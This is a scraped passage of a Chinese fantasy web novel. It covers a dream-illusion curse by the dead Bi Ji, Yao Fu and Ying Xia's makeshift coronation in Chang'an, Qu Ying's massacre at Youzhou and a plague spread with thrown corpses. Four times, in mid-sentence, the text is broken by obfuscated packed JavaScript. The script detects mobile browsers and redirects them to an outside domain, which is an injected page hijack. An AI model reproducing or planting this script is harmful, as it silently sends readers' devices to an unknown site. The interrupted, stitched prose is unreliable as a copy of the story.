姚复的神智忽然之间恢复了清醒,却见自己坐在一匹马上,站在一处山丘上,睥睨着山脚下不过百尺的营地——从这个角度,整个营地一览无余,规模也不大,约莫只有五六千人的样子。他立时发觉了自己在做梦。 他抬眼去看天色,日坠星悬,正值黄昏,那军营里点着一簇篝火——鲜亮的颜色在他眼眸中不断跳动,忽而有人拍了拍他的肩膀,递给他一只远镜。 应当是应瑕。姚复控制不住自己的身体,只好看着自己的手拿起远镜遥遥望向篝火。 有一群人载歌载舞地,拉着手围着篝火转圈跳舞,像是滇州某地的风俗,其间一个笑的开心的红衣女子格外显眼——只有她穿着汉人的服饰。 碧姬,姚复几乎下意识想起这个名字。 角落里还有一个黑影,姚复调转了角度去看,是含笑坐在一边的屈郢。 只是显得年轻的多,与现实中憔悴沧桑的形象几乎完全不符,他规规整整束着头发,留的胡子也是极有精气神,倒像是姚复的同龄人了,不过姚复不蓄须罢了。 “明明是穷途末路了,还能笑的这么开心。”应瑕不带感情的声音传来,紧接着是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624494|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声轻笑,“就让他们——再笑一会儿吧。” 这具身体没什么情愫,他听到自己说:“碧姬好像死了。” 姚复回神,脑中自己回忆起方才看到的画面——拉着手的人群散开,碧姬笑着拉起屈郢,抽出一把短剑,像是要跳一支剑舞。也确实如此,她血红的裙摆在鲜红的火光旁边摆动,舞姿曼妙绝伦,这支舞他似乎见过,最后一个动作应当是收剑入鞘,碧姬却毅然决然地划向自己的脖颈。 鲜红的血液飞溅在火光中,柔软的身躯向后倒去,屈郢惊惶地起身,徒劳的捂住她的伤口。 姚复心神颤动,忽有一道女子的声音炸响在耳畔:“吾以生魂祭大帝,吾以鲜血召九黎!!!” 远镜“啪嚓”一下落在地上,水晶镜片登时脱落摔了个粉碎,应瑕也放下自己手中的远镜,蹙眉问道:“你怎么了?” 他茫然地摇摇头,惊觉自己失声,又不由自主地勒马后退两步,碧姬的呼喊声再度响起:“姚子季!姚子季!!我不会放过你的,不会!!” 她又在反反复复地呼喊自己的名字,最终那喊声逐渐扭曲,逐渐尖利,演变成了一阵阵带血的哭号——姚复感到脑中锐痛,他想堵住耳朵,隔绝那可怕的声响,又想抱头挣扎,可身体限制了他的行动。他感到自己摇摇头,笑着看向应瑕:“没事。” 随后高高扬起马鞭,下令道:“发兵,袭营!” 阵阵马蹄声淹没了姚复的意识。 再度睁开眼时,映入眼帘的是应瑕的脸。 她微微皱着眉头,轻轻抚摸了一下他的额头,开口说道:“退烧了。你好好休息,我让人备食水来。” 说着她便要起身离开,姚复连忙伸手攥住应瑕的衣袖,问道:“我这几日怎么了?” “……”应瑕又坐回床上,欲言又止,满脸纠结,沉默了一会儿后终于开口说:“你那天中午睡醒后,就奇奇怪怪的,还吵着闹着说什么四面楚歌啊穷途末路什么的,又跑又跳的,自己闹了好大一出戏。昨天夜里还发了烧——” “陈重熙也看不出什么名堂来,说你中邪了,又从长沙请来了须弥芥子,也看不出来到底着了什么魔。可吓死人了。” 应瑕脸色不太好看,姚复倒是一切如常——不符合常理的东西这些年见过了太多,渐渐的倒也习惯了。他坐起身子,郑重其事地问:“碧姬到底是谁?” 应瑕凝重地蹙起眉头,明白了姚复这几日的反常行为到底是哪儿来的——碧姬也许根本没有魂飞魄散,她也许就藏在哪个角落里,专等着姚复心神松懈便给予一击。而且……还有拖得越久力量越为壮大的趋势。也难怪连须弥芥子都看不出来到底出了什么毛病—— 碧姬就是这个梦境的神,这里是她的主场啊。 或许她的目的不止是杀了姚复那么简单,她或许是想鸠占鹊巢—— 一想到这里,应瑕几乎是不寒而栗。 姚复见她打了个哆嗦,便识趣地松开了手。 “碧姬是屈郢的情人,不过早死了。”应瑕连忙站起身子,匆匆丢下一句话来,就出了门去。 姚复看着合上的木门,有些纳罕——碧姬早死跟他有什么关系,还要这么咒他? 56. 第56章 应瑕刚出了门,派去皇宫遗址收拾的人手就回了来,那督工的斥候抱着一个木盒子,送到应瑕面前,有些忐忑地通报:“夫人,我们在皇宫底下挖到了这个。” 那烧的只剩下裸露的骨架的断壁残垣底下除了尸体还能有什么? 无非是些金银珠玉一类的,这些玩意应瑕并不稀罕,派人去收拾时也说明了让他们自取。 那这盒子里装的又是什么东西? 她伸出手指,轻轻拨动了盒子的锁头,轻轻掀开盖子,只看了一眼,手下一抖,盖子便又顺势滑落。应瑕重重吸了一口气,又缓缓吐出,她闭上眼睛,良久才睁开,最终再度打开盒子,拿出了那枚金黄色浑圆如丹药的小玩意,最后看了那焦黑的尸体一眼,移开了目光:“让人打开皇陵,把尸体送进去吧。” 火是皇帝自己放的,涂山妏又急着报仇,也不知在里头埋伏了多久,只是当真不巧,一块儿被烧成了黑炭,倒也遂了她那殉情的愿望。 “另外,尽快把明堂打扫干净,找工匠重新修缮一遍,龙椅重新打一架,再去请绣娘给大家都绣一件官服当样板。还有玉玺……玉玺不急着。”应瑕面不改色地吩咐了一句,随后便下了楼,准备亲自去那废墟看看。 明堂烧的不严重,只是龙椅早被砸毁了。 至于玉玺……攻入长安城当日,应瑕便去了皇宫。 军队层层叠叠围住那座巍峨的建筑,那位九五至尊落入了孤立无援的境地,水泄不通的皇宫连苍蝇也飞不出去——大部分宫人早在接到攻城的消息时便收拾东西作鸟兽散了,只剩下几个老太监嬷嬷,为年轻的帝王留下最后的体面。 应瑕从马上下来,随手把缰绳交给身边的副将,又挥退了要陪同她入宫的侍卫,缓缓踏上了从前无数次踏过的白玉阶。 攻破长安城不算,她需要玉玺,需要皇权的象征,需要名正言顺地推姚复上皇位。 她以为自己会很急促,可事实恰恰相反,也许是知道了一切接近尾声,内心竟平静如水,唯有清风拂过时能泛起些微的波澜。 入宫的小径旁边种满了牡丹——长安城从前是没有牡丹的,因为从前有位皇后不喜欢;而涂山妏一句“喜欢”,多情的帝王便又在这座城池种满了牡丹。 还以为现在这位如同孤鸟的皇帝会把它们一一拔除,没想到竟留了这些秾艳的花朵这么久。 皇帝的寝殿确实金碧辉煌,只是里里外外只有寥寥几人,实在是冷清而又寂寥,平添了几分空阔的诡异。 大门缓缓打开,皇帝端坐在案前,全然没有从前的癫狂,只剩下反常的平静,见有人进来,也只是微微抬起头来,毫不意外地看了她一眼,波澜未起。 “玉玺呢。”应瑕懒得跟他叙旧,十五岁之前的应瑕与他的婚约完全是一纸空文,完全不能影响她如今的情愫。 皇帝定定盯着她,忽然说:“你不是她,对不对。” 她凉薄地看了他一眼,眼神锋利如刀,狠狠剜在血肉上。应瑕不做回答,真相却尽在不言中。 皇帝笑了笑,站起身来,从架子上抱起玉玺,举着那块价值连城的玉,向着应瑕递去,随后松开手指,无瑕的白璧狠狠砸在地上,当即碎了一角。他收敛起笑意,微微垂着眸子,睥睨般地看向应瑕:“要玉玺,自己去捡啊。” 应瑕见玉玺缺了一角,便转身往外走,她一手扶着门框,回首淡淡回应:“罢了,碎玉不吉利。以后再打一块便是——不过是个可有可无的物件。” 她顺手带上门,忽然福至心灵,在门口多站了一会儿,果不其然里头立刻传来了摔砸物件的声音,于是她又留下一句:“你摔掉的只是一块玉。即便是‘她’还在,你也无法改变结局。” 里面的声音停下了,应瑕满意地沿着来时的路离开了。 明明这具身体的原主人怎么活跟她完全没关系,但她能看到“应瑕”残留在身体里的情愫:纯真的爱、渴望自由、不甘束缚……让她对这个早夭的女孩升起了一丝同情。如今也算遂了她的愿,斩断了与过去的因果,便能专心走今后的路。 牡丹花开又花谢,待到万事俱备的时候,又到了榴花如火的时节——遥想当年,姚复也是在五月花开的时候开始了新生。 “在想什么呢。”姚复细细把金光闪闪的钗子插在应瑕刚刚盘好的复杂发髻上,发现她有些失神,便随口问了一句。 应瑕恍然回过神来,把头又抬高了一点:“榴花似火,让我想到了当初的百花宴。” 那场宴会是多少人的祭日,又是多少人的新生。 转眼红颜作枯骨,又有凤起登明堂。 “别想啦。”姚复笑着从首饰盒里拿出来最后一件配饰,“明年这个时候估计春殿嫔娥献首于朝呢,也有可能是孤坟野冢彼岸花开——” 他耸耸肩:“谁知道呢。” 应瑕站起来,深青袆衣上绣着赤色无质的翟文,内衬中单,衣缘滚朱,蔽膝随裳色,金线戗绣的鸟儿随着主人动作也似翩翩起舞。 姚复上下看了她两眼,随后微笑着点评道:“这衣服衬你,只是时间太紧,只做了个大概的样式,连凤冠也没来得及打。” 应瑕伸手把他拉起来,转手抱起桌子上配了个垫着绸缎的托盘的骊龙珠——自从上次天降陨铁之后,姚复算是知道了这玩意儿什么功能,便把它奉为了国宝。还有手里那把剑。 “行了,快走吧。皇帝还迟到算什么样子。”应瑕一手把托盘举起来,另一手拎起裙摆,这长裙子实在是束手束脚的,拖在地上一尺长,一不小心就会被踩到。 可怜这对新登大宝的夫妻,在长安城连个落脚的地方都没有,登基当天还待在客栈里,连帮皇后看衣摆的婢女都没有。 出行的马车都不是毛色统一的好马。 好在是一路平安无事的到了孤零零的、焕然一新的、与背后废墟格格不入的明堂门口。 穿着官袍的一溜人齐刷刷站在两侧等着姚复和应瑕过来,见着他们从马车上下来,都松了一口气。 解斛珠和银杏看没人去开门,只好充当起丫鬟的活,拎着绣着虎豹的官服跑到近前去,一人一侧拉开了门。 高高的玉阶上摆着雕刻着五条完整的龙的椅子——因为雕刻的多,工程量大,因而显的特别长,能供两人一同坐上去。因为时间赶的紧,那椅子甚至漆都没上完,姚复挽着应瑕走近时还能看到椅子背上白花花的木料。 真是个草台班子啊。姚复有些苦恼地拉着应瑕一起坐下,一直按着的剑顺便拄在手里,脸上又不好露出什么神情——可这实在是太简陋了。不说这椅子,他没有冠冕,衣服上的花纹也是整片贴上去的,应瑕没有凤冠,裙摆的长度短了几尺。 而且布料也不怎么样。 应瑕把珠子放在腿上,拧了姚复的后腰一把。 能登基就不错了,也不必要挑三拣四的,就是拿着国宝出来——到底有什么用? 稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636891|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀拉拉的群臣行了礼,姚复仍在神游天外,无奈应瑕只好又掐了他一把。他这才恍然回过神,看着底下的二三十个人,心中暗想:看看,也没几个人。 “平身,平身。”姚复回过神来,连忙说道。 大臣们哗啦啦站起身来,站好队形,应瑕掏出老早备好的封官的诏令,念了一遍。 点到名字的都谢了恩又起身,再往后姚复却不知道该做什么,他并不清楚这些流程,只好硬着头皮说道:“有,有事启奏?” 还偷瞄了一下应瑕的神色,见她表情并无异常,才稍稍松了口气。 “臣有本奏!”司空谷拿着笏板,上前一步,随后从怀里掏出好几本文书,看的姚复眼前一黑。 紧接着,他便照着笏板上记录的东西念起来:“魏王派人与我朝重新洽谈结盟事宜;天水守军粮草不足,无力抵抗匈奴,陛下尽快拨粮草支援;燕国与楚国反目,陛下可以派人攻燕……” 小小的笏板似乎记不下了,他只好把笏板别在腰间,又翻开一卷文书,继续念道:“巴州去年发大水,疫病横行,粮食减收,人相食;儋州飓风侵袭,死伤无数……” 他顿了顿,随后指向后面的韩玉笙:“臣还要参韩将军一本!他刻意压低合浦郡珠价,去年合浦财政赤字空前严重!” “喂!!”韩玉笙登时炸了,随后马上意识到自己殿前失仪,向着姚复请罪:“臣失仪。去年合浦郡产珠大幅增加,珠价降低实非臣之过错,陛下明鉴!” “难道韩将军不会平抑物价吗?难道放任物价涨跌?如此置民生与何地?” 两人很快争吵起来,应瑕蹙起眉头,怒斥一声:“够了!” 掷地有声,两人登时偃旗息鼓,闭上了嘴。 姚复一手撑着脑袋,笑了两声:“呵呵……新涂,把他俩给我丢出去。” “是!”新涂自觉扛起侍卫的活,把两个人一同拉出了殿外,又关上了门。 姚复蜷起腿,换了个舒服的姿势坐在椅子上,大门一关实在是放松多了,殿里又没有外人,索性放飞自我:“为什么那么多事是他一个人上奏?” “陛下,内政财权军务是左丞相一个人管。”陈重熙微笑着回答道,“陛下既然已经登基了,以后朝中臣子也会越来越多,还是收敛性情的好。” 就差指着鼻子骂站没站相坐没坐相没一点天子威仪了。姚复默默伸直腿,说道:“行了,咱们现在还打仗呢,这就走个过场。以后你和魏讯跟他分工,司空谷管财权,你管军务,魏讯管财权。” 现在姚复还没把官职完完全全摸清楚呢,前朝的制度又有大毛病,新的制度没定好,只封了几个虚头巴脑的将军丞相。 “接下来……接下来……东进,讨伐逆贼。新将军做前锋,去牵制楚王;解将军北上攻燕;小解将军和秋将军带兵去天水支援,待会儿出去告诉韩将军,让他麻溜滚回合浦郡挖珠子还债,采珠权收回合浦郡官府。”姚复气也不喘地说完一大堆话,又瞄了瞄应瑕,发现她端坐在椅子上闭目养神,便又说:“我……朕要御驾亲征。退朝,退朝。” 应瑕化了华贵威严的妆容的眼睛睁开,随后便一掌拍在他背后,姚复往前倒了一下,强稳住身形,讪讪笑着看了应瑕一眼,等底下大臣走完之后,便笑着对应瑕说:“你下次多说几句呗。我说了有了皇权也要与你分掌——” “你还是收回去吧。”应瑕敛目抚摸着珠子,“我听着他们说话想睡。” 57. 第57章 姚复在长安登基的消息很快传遍了天下,魏王和燕王眼观鼻鼻观心,都没说什么,却是私底下偷偷找了方士算黄道吉日,好也登基过一把皇帝瘾,从前是看着屈郢实力强大还不称帝,他们也不敢抢在人家前面。 可如今屈郢消沉了几个月,日日在金陵饮酒作乐,好像没了称霸天下的意图,势力想必也是渐渐衰弱了,魏王和燕王也没什么好顾忌的了。 张娘子新酿了一坛好酒,递到桥虹怀里,欲语还休,半晌才问:“夫君,我们什么时候能回去?” 再在屈郢手下拖下去,暴露的风险越高,后果越不堪设想。 何况他们还有孩子。 桥虹抱着酒坛,闻言抬头,露出一个微笑,却带着说不出的凄苦。做间谍又谈何容易,屈郢对他的态度忽冷忽热,有时是亲密无间,有时又淡漠疏离,实在不好琢磨。而且这家伙刚愎自用的毛病一点改不过来,不管桥虹跟他说什么都不听,姚复让他给屈郢出馊主意,楚王一开始还能勉强听两句,后来好话坏话都说尽他也不听了。 桥虹都怀疑屈郢早看穿了姚复的计划,当初以大礼召他做入幕之宾不过是麾下需要一个谋士充当门面。 “应该快了。”桥虹重重叹口气,说道,“孩子暂且送到阖闾城去,托陈先生照顾一段时间。韩将军的侄女不是也寄养在那边吗。” “我……我真要受不了楚王了。”张娘子抓着桥虹的袖子,从她跟着来到屈郢麾下,每一日都是如坐针毡芒刺在背。 总有种被监视的感觉不说,屈郢还独断专行,强要求下属把家里布置成他主帐的风格,阴森森冷嗖嗖的,张娘子这几日来甚至开始头痛,孩子也是夜啼不止——本来就岌岌可危的精神像是被一双无形的大手撕扯着,仿佛下一秒就会四分五裂。 她痛苦地抱着脑袋蹲下身子,桥虹连忙把酒坛放下扶她起来:“你也跟着去陈家修养一段时日吧,我得……再劝劝楚王。” 张娘子扶着额头,缓了好一会儿才说:“你多保重……” 接着便一步一顿地回去收拾东西了。 桥虹抱起地上的酒坛,出门登车,准备去拜谒楚王——应瑕喜欢张娘子酿的酒,屈郢也很喜欢,借着这坛酒,或许能让他听进去一些东西。 屈郢如平常一样,伏在碧姬的画像下面,不修边幅地趴在桌上,下人进去通报时一缕阳光泄入室内,楚王猛然举起桌上的酒杯,“砰”一下砸向门口,铜酒杯撞在门框上,又弹在地上,与楚王的暴喝声一并想起:“滚!!!” 下人连忙阖上门缝,战战兢兢地看向桥虹:“桥参谋,您,您看这?” “你先走吧。”桥虹抬眼看着木门,轻声说,“我自己想办法便是。” “是,是。”下人忙不迭下了去,往其他地方走去。 桥虹再度推开门,甫一进门,却见一只酒壶冲着自己飞过来,他连忙侧身一躲,又将门踢的更开了一点,阳光登时照亮了整间屋子。屈郢愣了一下,旋即揉揉眼睛,缓解乍见光明的刺痛。 酒坛子被放在案上,桥虹冷着脸问道:“大王,齐王在长安称帝了,您难道不该多加筹谋吗?像这样颓颓然惶惶不可终日,让碧姬怎么看你?” 碧姬…… 屈郢抬起头来,看向桥虹,那双眼里布满了血丝,现下目眦欲裂,更是格外可怖:“如今再燃生犀也见不得碧姬了……我该怎么办?” 看样子传来的消息不错,碧姬是这个幻境的主宰,而且力量越发强大——她不再入梦,试图用这种方式警告屈郢:不能再燃起犀角了。 桥虹面不改色,说道:“我听说燕国有个方士,能通灵。” “传军令,攻燕!”屈郢一拍桌子,猛然站起身来向外走去,走到门口处时回头看了桥虹一眼,意味深长地说:“桥参谋,你我都只是为了活命的可怜人,最好别骗我啊。” 桥虹拎起那坛没送出去的酒,微微笑了笑,说道:“臣之忠心,皇天后土足以鉴照。” 不让他尝到点甜头,又怎么接着布局。 蚍蜉撼树又如何抵抗天命洪流? 门板缓缓阖上,屋子里再度陷入黑暗,只有一道红色人影缓缓浮现,怨毒地盯着前方,不多时又化作飞烟飘散了。 屈郢打仗的作风本就嗜血癫狂,好像是发疯的恶犬,桥虹提起碧姬之后,屈郢更是发了疯一样,二十一天便打下了整个燕国。 接着就要南下攻魏。 雒邑。 斥候翻身下马,拿了最新的军情,急急往主帐里去,他匆匆过去,里头已经有人了—— 魏讯作为随军军师,正在和姚复议事。帐里的三人见到斥候进来,不约而同地止住了话头,抬眸去看进来的斥候。 “陛下,楚王攻破了幽州府,坑杀了幽州军民二十二万人,又命人在城里烧杀劫掠了五日——林林总总约有四五十万人遇难。”斥候有些忐忑地跪在地上,全军上下都知道姚复是什么脾气——他听到五十万条无辜的生命消散,也许会震惊,会愤怒,会哀伤,总之不会有什么好情绪。 “哦。”姚复淡淡应了一声,“桥虹也不知道劝劝吗。” 他的反应意外地平静,连应瑕都对这份沉稳投去了惊讶的目光。 斥候低着头继续说:“就是桥参谋出的主意。他说……蚍蜉之命,不足挂齿。” “这不像桥虹能说出来的话啊。”姚复这时候倒是有些讶异了,只略微惊讶地望了斥候一眼,又迅速收敛了情绪,说道,“算了算了,你走吧。” 斥候快步退下,准备继续侦查燕地的军情。姚复抬眼看向魏讯:“刚说到哪儿了?” 魏讯噎了一下,随后手指敲在姚复面前小案的地图上:“粮草统一放在平仓,陛下可以‘明修栈道,暗度陈仓’。” “不错。”姚复看着地图上画着的红圈和红箭头,喟叹一句,“让你管军政真不亏,比桥虹靠谱的多。” 魏讯收起地图,规规矩矩行了一礼:“臣告辞。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636892|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >随后便迈着长短一致的步子走了出去。姚复看着他的背影,缓缓歪过身子,皱着眉毛倚在应瑕身上:“他这人看着比司空谷都古板。你说……他走路是不是都是拿尺子量着?我怎么觉得他每一步都是二尺半?” 应瑕搡了他一把,让他从自己肩上起来,凉凉说道:“你管他呢。” “我听说你最近杀了不少人,又揪出来有细作?”应瑕抬眼看了姚复一眼。在雒邑的二十多天里,姚复下令处斩的前前后后有近百人了,起初应瑕还睁只眼闭只眼,这两天他却不知道又抽什么风,俘虏降兵几乎都杀了。 应瑕不由开始怀疑是不是碧姬影响了他的心智——不论是现实还是环境,姚复分明一直怀政爱民,向来柔以待人,这忽然无厘头的杀了这么多人,实在蹊跷。 姚复漫不经心地摇摇头,不知想到了什么,随后说道:“以下犯上。至于那些降将啊俘虏啊,大多是晋州人,难保思乡通敌。要说天底下我最不能最不能容忍的事——就是背叛了。” 他几乎是咬着字说出来的话,其间有一种说不清道不明的隐晦的决绝,尤其是说道最后,他眼中微不可查地闪过一丝狠厉。 旋即他又坐直身子,笑着对应瑕说:“不过……如果背叛我的是你,那我也甘之如饴。我相信你不会背叛我,对吧?” 应瑕无法保证别的,但绝对可以保证自己的忠诚,她笑着回答:“我永远不会背叛你。我们休戚与共、生死相连,即便生不同衾,死也同穴。” 姚复满意地笑了。 姚复完全可以确定自己是清醒的,只是至高无上的权力足以改变他的心性。二十天来几乎夜不能寐,每一天思考的都是如何站稳脚跟树立威信——最终全都汇聚成陈重熙那一句话:“收敛情绪。” 这四个字无疑是一段清风,拨开了覆月的乌云。 要想树立威信,便要从整顿风气开始。他从前实在太随和,早已模糊了与军士之间的界线,近来杀人,也不过是杀鸡儆猴罢了。 桥虹也说了,蚍蜉之命,不足挂齿。为了权力不择手段,才是人之本性。 姚复很快派人使了一招“明修栈道,暗度陈仓”,截了魏国放在平仓的粮草,烧了一部分,另一部分借道押运回了秦州,放在了长安附近的长乐仓。 粮草一断,魏国很快便溃不成军,新任的魏王落得了皇帝一样的下场。 姚复站在王宫门口,遥遥看见曾在长沙大王庙见过的一抹白衣,她傲然立于正脊西侧高高翘起的鸱吻上,衣袂飘飘,仿佛是看了他一眼,很快又消失不见。 “她是谁?”姚复瞇目看着屋脊上的兽,头也不回地问应瑕。 应瑕也抬起头去看那兽,半晌才说:“须弥芥子曾经卖给他们一个人情,如今来要账了。” “那就写……魏王重病,本就时日无多,不治而亡。”姚复微微笑了一下,示意身边记录军情的官吏。 从宽柔随和的仁主长成独断专行的君王,只需要一个皇位。 58. 第58章 现在……只要解决掉屈郢,天下则可运于掌上了。 平阳的烟尘还是与上次来时一样多,姚复伸手在面前扇了扇风,赶走了空气里游荡在鼻尖前的烟尘,忽然问应瑕:“那个须弥芥子与魏王有什么交情?” 在长沙时听过她的传闻,在上洛时又听司空谷提及是他的老师,现下又在平阳见了一面。不管她是不是真正的仙人,总归是有些什么异于常人的本领,这倒让姚复起了一点好奇的心思。 应瑕微微顿了一下,忽然凑近了一点,压低声音说道:“我也不是很清楚。他家先前不是个商人么,与我父亲有些往来……我听说,先魏王拿子女的命数换了泼天的富贵。” 未免太不可思议。姚复微微张大眼睛,其中流露出讶异来。这种拿人命换富贵的事不都是邪术?须弥芥子在传言里分明一直是个正道仙人——既然她会做这种勾当,那司空谷呢? 只是现在他还有用,只得徐徐图之了。 “这难道就不违背天理伦常?”姚复略有些震惊地问应瑕。 应瑕蹙起眉头,随后摇了摇头,似乎是并不想说这个。而且须弥芥子出现在城里也是正好的事,应瑕正愁寻不到她——碧姬的神魂越发壮大了,不止是对姚复不利,而且照着这个趋势,她定下的休朝十日可能不太够用。 也不知道现世里时间到了何年何月了,她不太能接受一醒过来就变成了鹤发鸡皮的老妪,这样拼死打下江山登金阙升明堂还有什么意义,半辈子都耗在碧姬种下这个虚无缥缈的幻境里,跟死了也没什么区别。 既然魏王死了,尸体抬出去之后姚复就带着应瑕堂而皇之住进了他们修的王宫。 这王宫也还不错,至少比起总是住营帐或者客栈好的多。 上次李小姐回来时姚复就顺便把决明子和九里香还回去了,现下半夜只有里里外外的侍卫把守。 夜半时分,圆月高悬,应瑕一直没睡,她听到滴漏断声,便上前推开了窗子。一缕轻烟随着夜风飘入窗棂,又化作玄衣华发的仙人。 须弥芥子没有直接进入幻境,她只是偶尔用特别的方法引神入梦,能自由来往现实与幻境的也只有她一人。 这也是找不到她的原因——幻境里故时的她是绝帮不到忙的。 “仙子,我近来发现碧姬的神魂似乎并未消亡,她——”应瑕紧皱眉头,一见到须弥芥子落地,便有些着急地阐述了心中猜测。 须弥芥子一指抵住嘴唇,示意她噤声,打断了应瑕的话,随后指了指不远处侍卫挑起的一豆灯火。 应瑕探出半身,喝退了那侍卫,又重重合上窗子。 要是让姚复知道了须弥芥子的事,指不定发生什么。须弥芥子说一旦他意识到这是个幻境,那么梦境会顷刻崩塌,又因为蛊虫的存在,他又会被淹没在荒芜的废墟里——也正是碧姬想要的。 “我对蛊虫与幻境了解不多,在外界并未发现碧姬的踪迹。或许是她神形不稳,一旦发现,我会尽快解决。”须弥芥子面无表情地抬眼看向应瑕,“殿下该多加打算了,你们只剩下三日时间了。” “什么三日?”应瑕蹙起眉头,有些紧张又不解地问道。 难不成要在三天里除掉屈郢?刺杀他不是难事,可是又如何让他心甘情愿地去死? “如今现世已经过了七日了,群臣多有不满。” 留下这一句话,她便又化作一缕飞烟飘散了。 应瑕浑浑噩噩坐回床上。 她在幻境里过了七年,现世过了七日,也就是说只剩下三年时间,群臣就可能会编造出皇帝病逝的消息,进而拥立幼主,各自乱政。 到那时候,她能稳住朝堂临朝亲政,可是姚复的命呢?太子的命呢? 得而复失的天下丢了就丢了,左右成了一捧枯骨,哪怕曝尸荒野也无所畏惧。可是父母的业报又怎么能让一个不知事的孩子偿还? 三年足够杀死屈郢成千上万遍,却不足以让他心甘情愿地赴死哪怕一次。 应瑕几乎合不上眼睛,她一向沉稳冷静,无论是千年前充斥着死亡与硝烟的前半生,还是在这个陌生世界初来乍到的前几年,她都未曾感觉到过恐慌与无措。现在无边的恐惧却如同潮水,慢慢从肺腔蔓延到口鼻,无助的窒息感不多侵蚀着一线的理智。 可暴力无法解决问题,唯有理智…… 唯有理智…… 大门被猛然打开,阳光猝然闯入房间,应瑕几乎崩断的理智又被强硬地接续起来。 姚复推开门,大步进门坐在榻上,见应瑕头发蓬乱眼眶通红,登时感觉有些不对,心中升起担忧与心痛来。他轻轻拍了拍应瑕的肩,放缓声音问道:“你怎么啦?不舒服吗?” 应瑕有一时间的失声,并未及时回答,姚复脸色一变,连忙招手喊到:“宣太医!宣太医!” 喊完还不够,他恍然想起自己也会医术,迅速捉住应瑕的手腕细细把起脉来,却并未发现异常,却只当是自己医术不精。 应瑕反手握住他的手腕,挤出一个比哭还难看的笑,强撑着说道:“噩梦罢了。” 姚复以手覆盖住她的手背,转而又两手合握住她的手。应瑕略有些安心地靠在他的肩膀上,声音略有些沙哑:“我梦到楚王把你杀了。” “他杀不了我的。”姚复抬头看向远处的阳光,“他就像个疯子——我和他无冤无仇的——梦都是反的,肯定是我杀了他。” “何况……”姚复勾唇笑了笑,“你夫君我福大命大,连被围困到弹尽粮绝都有陨铁来救,天下人死绝了也轮不到我。” 应瑕笑了一下:“但愿吧。” 随着太医进来的还有斥候。 “陛下,巨鹿县发了大水,引起了大疫!”斥候跪在地上高声通报。 姚复皱着眉呵斥道:“发了瘟疫你跟我说什么,报给陈丞相去啊。我又不会治这些疑难杂症。” “陈丞相和夫人已经赶到地方了。现下疫病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654075|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆发仅过了三日有余,已经亡故百人了。”斥候面不改色地回答道,“日前有夜巡的官兵见到楚王往城里扔了尸体,起初不以为意就地掩埋了。陈相认为此事与疫病有关,特来上报。” 姚复猛然坐直身子,大惊失色,几乎有些失声地问道:“你从巨鹿回来?!” 斥候不明所以地抬起头:“回陛下,是。” 姚复突然跳上了床榻,拉着应瑕拼命往里缩,一边大喊着:“把他拖出去!快把他拖出去啊!!” 应瑕早不知什么时候拿帕子捂住了口鼻,一边的侍卫连忙进来把斥候拉了出去,所幸还有太医在侧,姚复脸色苍白地指着门口处,说道:“你,让你们提点多叫几个人,现在封闭门户十五日,断绝外人来往,仔细观察他有没有犯病的症状!” 太医连忙领了命离开了,姚复又想到了什么,狠狠拍上门板,对着外面大喝:“传令!即日起封城!没有诏令任何人不得外出,进城的粮草也要仔细盘查!尤其是巨鹿人氏,一律不许入城!” 应瑕坐在榻上,揉了揉方才被姚复拉着的手腕,叹了口气,有些无奈地说道:“消息都过了三日了,现在封城也晚了。前两日难免有居心叵测之辈潜入城中的。” “能起一点作用是一点吧。”姚复心中也很惆怅。 君主主政最怕的便是疫病。疫病会严重影响民生,也会折损君王的风评,若是太平盛世还好,如今又碰上行军打仗。想必是楚国境内出现了几起疑难杂症,便被屈郢用了这招,想折损姚复的兵力,好达到不战而胜的目的。 “估计又是桥虹出的主意——”应瑕叹了口气,“只是弄巧成拙了吧。” 城中确实出现了病例,不过报上来的病患只有年逾花甲的老者和不及三岁的幼儿,壮年男女倒是没几个患病的。 十五日的封禁期很快便过去了,这病症的死亡率确实很高,患病的十有七八都病逝了,不过与病患朝夕相处的家属——尤其是冠年之后的男女,并无什么异常,渐渐大家也都放下了心。 